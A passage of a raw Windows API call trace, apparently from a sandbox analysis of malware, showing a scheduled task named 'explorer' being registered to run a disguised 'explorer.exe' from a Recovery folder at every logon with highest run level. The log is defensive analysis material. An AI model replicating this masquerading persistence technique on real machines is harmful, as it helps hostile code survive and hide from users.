uID=0x1b1, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0137.986] lstrlenW (lpString="WEEKLY") returned 6 [0137.986] GetProcessHeap () returned 0x240000 [0137.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d620 [0137.986] GetThreadLocale () returned 0x409 [0137.986] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0137.986] GetProcessHeap () returned 0x240000 [0137.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc10 [0137.986] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.986] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0137.986] lstrlenW (lpString="MONTHLY") returned 7 [0137.986] GetProcessHeap () returned 0x240000 [0137.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d640 [0137.986] GetThreadLocale () returned 0x409 [0137.986] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0137.986] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.986] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0137.986] lstrlenW (lpString="ONCE") returned 4 [0137.986] GetProcessHeap () returned 0x240000 [0137.986] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25d660 [0137.986] GetThreadLocale () returned 0x409 [0137.986] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0137.986] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.986] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0137.986] lstrlenW (lpString="ONSTART") returned 7 [0137.986] GetThreadLocale () returned 0x409 [0137.986] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0137.987] lstrlenW (lpString="ONLOGON") returned 7 [0137.987] GetThreadLocale () returned 0x409 [0137.987] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0137.987] SetLastError (dwErrCode=0x0) [0137.987] GetProcessHeap () returned 0x240000 [0137.987] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x1fc) returned 0x25c3e0 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0137.987] lstrlenW (lpString="First") returned 5 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0137.987] lstrlenW (lpString="Second") returned 6 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0137.987] lstrlenW (lpString="Third") returned 5 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0137.987] lstrlenW (lpString="Fourth") returned 6 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0137.987] lstrlenW (lpString="Last") returned 4 [0137.987] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.987] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0137.988] lstrlenW (lpString="First") returned 5 [0137.988] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.988] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0137.988] lstrlenW (lpString="Second") returned 6 [0137.988] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.988] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0137.988] lstrlenW (lpString="Third") returned 5 [0137.988] GetProcessHeap () returned 0x240000 [0137.988] GetProcessHeap () returned 0x240000 [0137.988] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d660) returned 1 [0137.988] GetProcessHeap () returned 0x240000 [0137.988] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d660) returned 0xa [0137.988] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d660 | out: hHeap=0x240000) returned 1 [0137.988] GetProcessHeap () returned 0x240000 [0137.988] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc) returned 0x25d660 [0137.988] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.988] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0137.988] lstrlenW (lpString="Fourth") returned 6 [0137.988] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.988] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0137.988] lstrlenW (lpString="Last") returned 4 [0137.988] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc640, cchData=128 | out: lpLCData="0") returned 2 [0137.988] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.989] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0137.989] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d580) returned 1 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d580) returned 0x10 [0137.989] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d580 | out: hHeap=0x240000) returned 1 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d580 [0137.989] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xfc660, cchData=128 | out: lpLCData="0") returned 2 [0137.989] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.989] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0137.989] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5a0) returned 1 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d5a0) returned 0x10 [0137.989] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5a0 | out: hHeap=0x240000) returned 1 [0137.989] GetProcessHeap () returned 0x240000 [0137.989] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x16) returned 0x25d5a0 [0137.989] GetLocalTime (in: lpSystemTime=0xfc890 | out: lpSystemTime=0xfc890*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x1, wMilliseconds=0x2e9)) [0137.989] GetLocalTime (in: lpSystemTime=0xfd148 | out: lpSystemTime=0xfd148*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x1, wMilliseconds=0x2e9)) [0137.989] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] lstrlenW (lpString="") returned 0 [0137.990] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0138.013] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0138.183] CoCreateInstance (in: rclsid=0xffeb1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffeb1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xfcf10 | out: ppv=0xfcf10*=0x4f7ad0) returned 0x0 [0138.194] TaskScheduler:ITaskService:Connect (This=0x4f7ad0, serverName=0xfcff0*(varType=0x8, wReserved1=0xf, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xfcfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xfcfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfcf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0138.305] TaskScheduler:IUnknown:AddRef (This=0x4f7ad0) returned 0x2 [0138.305] TaskScheduler:ITaskService:GetFolder (in: This=0x4f7ad0, Path=0x0, ppFolder=0xfd0a8 | out: ppFolder=0xfd0a8*=0x4f7d00) returned 0x0 [0138.308] TaskScheduler:ITaskService:NewTask (in: This=0x4f7ad0, flags=0x0, ppDefinition=0xfd0a0 | out: ppDefinition=0xfd0a0*=0x4f7d50) returned 0x0 [0138.309] ITaskDefinition:get_Actions (in: This=0x4f7d50, ppActions=0xfd020 | out: ppActions=0xfd020*=0x4f7e10) returned 0x0 [0138.309] IActionCollection:Create (in: This=0x4f7e10, Type=0, ppAction=0xfd040 | out: ppAction=0xfd040*=0x4f65e0) returned 0x0 [0138.309] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0138.309] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0138.309] lstrlenW (lpString=" ") returned 1 [0138.309] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0138.309] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0138.310] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0138.311] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0138.311] IUnknown:Release (This=0x4f65e0) returned 0x1 [0138.311] IUnknown:Release (This=0x4f7e10) returned 0x1 [0138.312] ITaskDefinition:get_Triggers (in: This=0x4f7d50, ppTriggers=0xfcba0 | out: ppTriggers=0xfcba0*=0x4f7f50) returned 0x0 [0138.312] ITriggerCollection:Create (in: This=0x4f7f50, Type=9, ppTrigger=0xfcb98 | out: ppTrigger=0xfcb98*=0x4f6650) returned 0x0 [0138.312] IUnknown:QueryInterface (in: This=0x4f6650, riid=0xffeb1c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xfcb90 | out: ppvObject=0xfcb90*=0x4f6650) returned 0x0 [0138.312] IUnknown:Release (This=0x4f6650) returned 0x2 [0138.312] _vsnwprintf (in: _Buffer=0xfcae0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xfcab8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0138.312] ITrigger:put_StartBoundary (This=0x4f6650, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0138.312] lstrlenW (lpString="") returned 0 [0138.312] lstrlenW (lpString="") returned 0 [0138.312] lstrlenW (lpString="") returned 0 [0138.312] lstrlenW (lpString="") returned 0 [0138.313] IUnknown:Release (This=0x4f6650) returned 0x1 [0138.313] IUnknown:Release (This=0x4f7f50) returned 0x1 [0138.313] ITaskDefinition:get_Settings (in: This=0x4f7d50, ppSettings=0xfd040 | out: ppSettings=0xfd040*=0x4f63c0) returned 0x0 [0138.313] lstrlenW (lpString="") returned 0 [0138.313] IUnknown:Release (This=0x4f63c0) returned 0x1 [0138.313] GetLocalTime (in: lpSystemTime=0xfcef8 | out: lpSystemTime=0xfcef8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x2, wMilliseconds=0x49)) [0138.313] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0138.313] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0138.314] GetUserNameW (in: lpBuffer=0xfcf20, pcbBuffer=0xfcf08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xfcf08) returned 1 [0138.314] ITaskDefinition:get_RegistrationInfo (in: This=0x4f7d50, ppRegistrationInfo=0xfcef0 | out: ppRegistrationInfo=0xfcef0*=0x4f7e90) returned 0x0 [0138.314] IRegistrationInfo:put_Author (This=0x4f7e90, Author="") returned 0x0 [0138.314] _vsnwprintf (in: _Buffer=0xfcf20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xfceb8 | out: _Buffer="2022-08-06T02:19:02") returned 19 [0138.315] IRegistrationInfo:put_Date (This=0x4f7e90, Date="") returned 0x0 [0138.315] IUnknown:Release (This=0x4f7e90) returned 0x1 [0138.315] malloc (_Size=0x18) returned 0x4f7cb0 [0138.315] free (_Block=0x4f7cb0) [0138.315] lstrlenW (lpString="") returned 0 [0138.315] ITaskDefinition:get_Principal (in: This=0x4f7d50, ppPrincipal=0xfd110 | out: ppPrincipal=0xfd110*=0x4f6530) returned 0x0 [0138.315] IPrincipal:put_RunLevel (This=0x4f6530, RunLevel=1) returned 0x0 [0138.315] IUnknown:Release (This=0x4f6530) returned 0x1 [0138.315] malloc (_Size=0x18) returned 0x4f7cb0 [0138.315] ITaskFolder:RegisterTaskDefinition (in: This=0x4f7d00, Path="explorer", pDefinition=0x4f7d50, flags=6, UserId=0xfd190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xfd1d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff0a0, varVal2=0xfe), LogonType=3, sddl=0xfd1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xfd0b0 | out: ppTask=0xfd0b0*=0x4f68c0) returned 0x0 [0139.542] free (_Block=0x4f7cb0) [0139.542] _memicmp (_Buf1=0x25bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.542] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x25d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0139.543] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0139.543] GetProcessHeap () returned 0x240000 [0139.543] GetProcessHeap () returned 0x240000 [0139.543] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5c0) returned 1 [0139.543] GetProcessHeap () returned 0x240000 [0139.543] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d5c0) returned 0xe [0139.543] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d5c0 | out: hHeap=0x240000) returned 1 [0139.543] GetProcessHeap () returned 0x240000 [0139.543] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x82) returned 0x279bd0 [0139.543] _vsnwprintf (in: _Buffer=0xfd7f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xfd058 | out: _Buffer="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n") returned 70 [0139.543] _fileno (_File=0x7fefed02ab0) returned -2 [0139.543] _errno () returned 0x4f4bb0 [0139.543] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0139.543] SetLastError (dwErrCode=0x6) [0139.543] lstrlenW (lpString="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n") returned 70 [0139.543] GetConsoleOutputCP () returned 0x0 [0139.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0139.543] GetConsoleOutputCP () returned 0x0 [0139.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorer\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0139.544] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0139.544] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0139.544] IUnknown:Release (This=0x4f68c0) returned 0x0 [0139.544] TaskScheduler:IUnknown:Release (This=0x4f7d50) returned 0x0 [0139.544] TaskScheduler:IUnknown:Release (This=0x4f7d00) returned 0x0 [0139.544] TaskScheduler:IUnknown:Release (This=0x4f7ad0) returned 0x1 [0139.544] lstrlenW (lpString="") returned 0 [0139.544] GetProcessHeap () returned 0x240000 [0139.544] GetProcessHeap () returned 0x240000 [0139.544] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0) returned 1 [0139.544] GetProcessHeap () returned 0x240000 [0139.544] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3e0) returned 0x1fc [0139.545] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3e0 | out: hHeap=0x240000) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d540) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d540) returned 0x16 [0139.545] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d540 | out: hHeap=0x240000) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d520) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d520) returned 0x18 [0139.545] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d520 | out: hHeap=0x240000) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90) returned 1 [0139.545] GetProcessHeap () returned 0x240000 [0139.545] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd90) returned 0x20 [0139.546] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90 | out: hHeap=0x240000) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c030) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c030) returned 0xa0 [0139.546] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c030 | out: hHeap=0x240000) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bab0) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bab0) returned 0x18 [0139.546] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bab0 | out: hHeap=0x240000) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb50) returned 1 [0139.546] GetProcessHeap () returned 0x240000 [0139.546] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cb50) returned 0x20 [0139.547] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb50 | out: hHeap=0x240000) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c350) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c350) returned 0x80 [0139.547] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c350 | out: hHeap=0x240000) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d560) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d560) returned 0x18 [0139.547] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d560 | out: hHeap=0x240000) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb20) returned 1 [0139.547] GetProcessHeap () returned 0x240000 [0139.547] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cb20) returned 0x20 [0139.548] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cb20 | out: hHeap=0x240000) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25dcd0) returned 1 [0139.548] GetProcessHeap () returned 0x240000 [0139.548] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25dcd0) returned 